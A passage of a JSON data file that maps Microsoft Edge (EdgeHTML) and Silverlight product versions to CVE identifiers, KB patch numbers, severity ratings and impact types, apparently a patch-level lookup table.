Execution"},{"cve":"CVE-2017-11914","kb":"4053580","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11918","kb":"4053580","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8548","kb":"4022725","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8601","kb":"4025342","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8634","kb":"4034674","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8635","kb":"4034674","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034674","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8729","kb":"4038788","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8734","kb":"4038788","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8740","kb":"4038788","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8751","kb":"4038788","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8755","kb":"4038788","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0758","kb":"4056891","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0769","kb":"4056891","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0770","kb":"4056891","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0776","kb":"4056891","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0777","kb":"4056891","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0780","kb":"4056891","severity":"Critical","impact":"Information Disclosure"},{"cve":"CVE-2018-0834","kb":"4074592","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0835","kb":"4074592","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0837","kb":"4074592","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0838","kb":"4074592","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074592","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0859","kb":"4074592","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0860","kb":"4074592","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0933","kb":"4088782","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0934","kb":"4088782","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0953","kb":"4103731","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0980","kb":"4093107","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8133","kb":"4103731","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103731","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8279","kb":"4338826","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8288","kb":"4338826","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338826","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343885","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8617","kb":"4471327","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0539","kb":"4480973","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0566","kb":"4480973","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0567","kb":"4480973","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1709 for 32-bit Systems":[{"cve":"CVE-2017-11861","kb":"4048955","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11873","kb":"4048955","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11893","kb":"4054517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11909","kb":"4054517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11911","kb":"4054517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11914","kb":"4054517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11918","kb":"4054517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0758","kb":"4056892","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0769","kb":"4056892","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0770","kb":"4056892","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0774","kb":"4056892","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0775","kb":"4056892","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0776","kb":"4056892","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0777","kb":"4056892","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0780","kb":"4056892","severity":"Critical","impact":"Information Disclosure"},{"cve":"CVE-2018-0834","kb":"4074588","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0835","kb":"4074588","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0837","kb":"4074588","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0838","kb":"4074588","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074588","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0859","kb":"4074588","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0860","kb":"4074588","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088776","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0933","kb":"4088776","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0934","kb":"4088776","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0953","kb":"4103727","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0980","kb":"4093112","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8133","kb":"4103727","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8279","kb":"4338825","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8288","kb":"4338825","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338825","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343897","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8617","kb":"4471329","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0539","kb":"4480978","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0566","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0567","kb":"4480978","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1709 for ARM64-based Systems":[{"cve":"CVE-2018-8617","kb":"4471329","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0539","kb":"4480978","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0566","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0567","kb":"4480978","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1709 for x64-based Systems":[{"cve":"CVE-2017-11861","kb":"4048955","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11873","kb":"4048955","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11893","kb":"4054517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11909","kb":"4054517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11911","kb":"4054517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11914","kb":"4054517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11918","kb":"4054517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0758","kb":"4056892","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0769","kb":"4056892","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0770","kb":"4056892","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0774","kb":"4056892","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0775","kb":"4056892","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0776","kb":"4056892","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0777","kb":"4056892","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0780","kb":"4056892","severity":"Critical","impact":"Information Disclosure"},{"cve":"CVE-2018-0834","kb":"4074588","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0835","kb":"4074588","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0837","kb":"4074588","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0838","kb":"4074588","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074588","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0859","kb":"4074588","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0860","kb":"4074588","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088776","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0933","kb":"4088776","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0934","kb":"4088776","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0953","kb":"4103727","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0980","kb":"4093112","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8133","kb":"4103727","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103727","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8279","kb":"4338825","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8288","kb":"4338825","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338825","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343897","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8617","kb":"4471329","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0539","kb":"4480978","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0566","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0567","kb":"4480978","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1803 for 32-bit Systems":[{"cve":"CVE-2018-0953","kb":"4103721","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8133","kb":"4103721","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8139","kb":"4103721","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103721","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8279","kb":"4338819","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8288","kb":"4338819","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338819","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343909","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8617","kb":"4471324","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0539","kb":"4480966","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0566","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0567","kb":"4480966","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0568","kb":"4480966","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1803 for ARM64-based Systems":[{"cve":"CVE-2018-8617","kb":"4471324","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0539","kb":"4480966","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0566","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0567","kb":"4480966","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0568","kb":"4480966","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1803 for x64-based Systems":[{"cve":"CVE-2018-0953","kb":"4103721","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8133","kb":"4103721","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8139","kb":"4103721","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103721","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8279","kb":"4338819","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8288","kb":"4338819","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338819","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343909","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8617","kb":"4471324","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0539","kb":"4480966","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0566","kb":"4480966","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0567","kb":"4480966","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0568","kb":"4480966","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1809 for 32-bit Systems":[{"cve":"CVE-2018-8617","kb":"4471332","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0539","kb":"4480116","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0566","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0567","kb":"4480116","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0568","kb":"4480116","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1809 for ARM64-based Systems":[{"cve":"CVE-2018-8617","kb":"4471332","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0539","kb":"4480116","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0566","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0567","kb":"4480116","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0568","kb":"4480116","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1809 for x64-based Systems":[{"cve":"CVE-2018-8617","kb":"4471332","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0539","kb":"4480116","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0566","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0567","kb":"4480116","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0568","kb":"4480116","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1903 for 32-bit Systems":[{"cve":"CVE-2018-0859","kb":"4530684","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1903 for ARM64-based Systems":[{"cve":"CVE-2018-0859","kb":"4530684","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows 10 Version 1903 for x64-based Systems":[{"cve":"CVE-2018-0859","kb":"4530684","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows 10 for 32-bit Systems":[{"cve":"CVE-2016-3351","kb":"3185611","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2016-7201","kb":"3198585","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3198585","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0037","kb":"4012606","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11811","kb":"4042895","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11918","kb":"4053581","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8548","kb":"4022727","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8601","kb":"4025338","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8635","kb":"4034668","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034668","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8734","kb":"4038781","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0758","kb":"4056893","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0769","kb":"4056893","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0770","kb":"4056893","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0776","kb":"4056893","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0777","kb":"4056893","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0780","kb":"4056893","severity":"Critical","impact":"Information Disclosure"},{"cve":"CVE-2018-0834","kb":"4074596","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0835","kb":"4074596","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0837","kb":"4074596","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0838","kb":"4074596","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074596","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0859","kb":"4074596","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0860","kb":"4074596","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088786","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0933","kb":"4088786","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0934","kb":"4088786","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0953","kb":"4103716","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0980","kb":"4093111","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8133","kb":"4103716","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103716","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4338829","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338829","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343892","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8617","kb":"4471323","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0539","kb":"4480962","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0566","kb":"4480962","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0567","kb":"4480962","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows 10 for x64-based Systems":[{"cve":"CVE-2016-3351","kb":"3185611","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2016-7201","kb":"3198585","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3198585","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0037","kb":"4012606","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11811","kb":"4042895","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-11918","kb":"4053581","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8548","kb":"4022727","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8601","kb":"4025338","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8635","kb":"4034668","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034668","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8734","kb":"4038781","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0758","kb":"4056893","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0769","kb":"4056893","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0770","kb":"4056893","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0776","kb":"4056893","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0777","kb":"4056893","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0780","kb":"4056893","severity":"Critical","impact":"Information Disclosure"},{"cve":"CVE-2018-0834","kb":"4074596","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0835","kb":"4074596","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0837","kb":"4074596","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0838","kb":"4074596","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074596","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0859","kb":"4074596","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0860","kb":"4074596","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088786","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0933","kb":"4088786","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0934","kb":"4088786","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0953","kb":"4103716","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0980","kb":"4093111","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8133","kb":"4103716","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103716","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4338829","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338829","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343892","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8617","kb":"4471323","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0539","kb":"4480962","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0566","kb":"4480962","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0567","kb":"4480962","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows Server 2016":[{"cve":"CVE-2016-7200","kb":"3200970","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2016-7201","kb":"3200970","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3200970","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11764","kb":"4038782","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11811","kb":"4041691","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11861","kb":"4048953","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11873","kb":"4048953","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11893","kb":"4053579","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11909","kb":"4053579","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11911","kb":"4053579","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11914","kb":"4053579","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11918","kb":"4053579","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8496","kb":"4022715","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8548","kb":"4022715","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8601","kb":"4025339","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8635","kb":"4034658","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034658","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8731","kb":"4038782","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8734","kb":"4038782","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8755","kb":"4038782","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0758","kb":"4056890","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0769","kb":"4056890","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0770","kb":"4056890","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0776","kb":"4056890","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0777","kb":"4056890","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0780","kb":"4056890","severity":"Moderate","impact":"Information Disclosure"},{"cve":"CVE-2018-0834","kb":"4074590","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0835","kb":"4074590","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0837","kb":"4074590","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0838","kb":"4074590","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074590","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0859","kb":"4074590","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0860","kb":"4074590","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088787","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2018-0933","kb":"4088787","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0934","kb":"4088787","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0953","kb":"4103723","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0980","kb":"4093119","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-8133","kb":"4103723","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103723","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4338814","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338814","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343887","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8617","kb":"4471321","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2019-0539","kb":"4480961","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2019-0566","kb":"4480961","severity":"Low","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0567","kb":"4480961","severity":"Moderate","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows Server 2019":[{"cve":"CVE-2018-8617","kb":"4471332","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2019-0539","kb":"4480116","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2019-0566","kb":"4480116","severity":"Low","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0567","kb":"4480116","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2019-0568","kb":"4480116","severity":"Moderate","impact":"Remote Code Execution"}],"Microsoft Silverlight 5 Developer Runtime when installed on Microsoft Windows (32-bit)":[{"cve":"CVE-2015-2433","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Silverlight 5 Developer Runtime when installed on Microsoft Windows (x64-based)":[{"cve":"CVE-2015-2433","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3080333","severity":"Critical","impact":"Remote Code 